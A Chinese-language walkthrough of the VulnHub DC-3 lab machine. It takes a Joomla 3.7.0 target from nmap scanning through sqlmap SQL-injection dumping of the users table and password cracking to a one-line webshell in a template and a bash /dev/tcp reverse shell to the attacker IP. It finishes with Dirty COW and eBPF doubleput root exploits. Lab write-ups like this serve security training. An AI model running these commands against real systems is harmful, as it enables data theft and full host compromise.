vulnhubDC-3渗透记录

环境搭建:

攻击机kali:

     192.168.220.149

靶机DC-3:

      192.168.220.155

渗透过程:

查看DC-3的mac地址:

1,扫描网段中得知靶机ip,使用nmap:

nmap -sP 192.168.220.0/24
  使用-sP命令进行Ping扫描查询网段活跃主机

确定靶机ip,使用nmap进行详细扫描:

nmap -A -sV 192.168.220.155 -p 1-65535
  • 可以看到只开启了80端口,并且CMS为joomla!
  • 那么首先访问80端口看看:
  • 之后在针对joomla进行渗透

只有唯一的一个flag,没有提示,需要root权限。可能涉及提权

与DC-2相似,joomla也有工具名为joomscan,可以在kali中安装,直接使用joomla进行url扫描

joomscan --url http://192.168.220.155

结果中,爆出admin 登陆页面,joomla版本,并且爆出四个目录列表

在kali中使用searchspolit寻找有无漏洞利用

searchspolit joomla 3.7.0

可以看到有 SQL Injection可以利用,我们将文件复制到当前文件夹

searchsploit -m 42033
    or
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla3.70_injection.txt 

cat查看用法:

给出了sqlmap的用法,直接复制使用,将localhost改为靶机即可:

sqlmap -u "http://192.168.220.155/index.php option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" 
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]
   --risk=3  语句深度为3
   --level=5 语句测试范围为5等
   --dbs 列出所有数据库
   --random-agent 随机user-agent
   -p 测试参数

1,查询当前数据库

 sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
 --current-db  当前数据库

2,查询表

sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
   -D  限定数据库
   --tables 列出所有表

可以看出爆出76个表,发现users表,有很大概率是用户信息和密码,

3,查看表中的列名

sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
   -T 限定表
   --columns 查询所有列名

将name 和 password 跑出来:

4,脱裤:

sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C name,password --dump list[fullordering]
   -C 限定列
   --dump 列出所有数据

将password 保存 使用john破解

john pass.txt

破解出密码为snoopy

回到上面扫出来的admin登陆页面登录。输入admin 密码snoopy

发现在templates中有Beez3的模版和文件配置:

进入Beez3 Details and Files 中编辑文件

joomla模板的正常根是templates /(模板名称)/

直接在html/modules.php中写上一句话木马

使用蚁剑测试连接


进入蚁剑虚拟终端:

查看当前用户权限

发现权限为www.data 那么最后一步思路应该就是提权 访问/root目录拿到flag

为了方便提权,我们首先反弹shell

攻击机监听1234端口

nc -lvvp 1234

在蚁剑虚拟终端中连接我们的1234端口:

bash -i >& /dev/tcp/192.168.220.149/1234 0>&1

发现语法错误,那就换个方式,使用python脚本

由于tmp缓存目录的权限是777.即可读可写可执行

所以我们将脚本上传到tmp目录下,这样我们的权限也可以执行

上传back.py文件

打开终端到/var/tmp目录下

使用命令进行连接:

python back.py 192.168.220.149 1234

反弹成功!下一步就是提权了


提权:

使用uname -a 与 lsb_release -a 查看系统内核信息与发行版本

提权方法一:

dirtycow(脏牛)提权

我们的内核版本在4.4.0,脏牛范围为Linux内核 >= 2.6.22,所以可以尝试一下脏牛

我们在kali库里查找dirtycow 的相关exp

searchsploit dirty cow

我们使用-m命令将40847.cpp复制到当前目录,并使用蚁剑将它传到靶机的tmp目录中:

在虚拟中进入tmp目录,对cpp文件进行编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty 40847.cpp -lutil
   1. -Wall 允许发出GCC能够提供的所有有用的警告
   2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
   3. -O2 编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
   4. -std=c++11 按C++2011标准编译
   5. -pthread 在Linux中要用到多线程时,需要链接pthread库
   6. -o dirty gcc生成的目标文件,名字为dirty

使用

./dirty -s

提权成功。读取flag


提权方法二:

寻找ubuntu 16.04 的提权漏洞

我们使用如图的39772.txt

cat查看,发现里面给了exp

下载后上传到靶机的/tmp目录下

解压缩:

unzip 39772.zip

解压exp:

tar xvf exploit.tar

运行sh进行编译

cd ebpf_mapfd_doubleput_exploit
./compile.sh

进行提权:

./doubleput

可以看到,提权已经成功。

进入/root查看flag.txt即可

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用*标注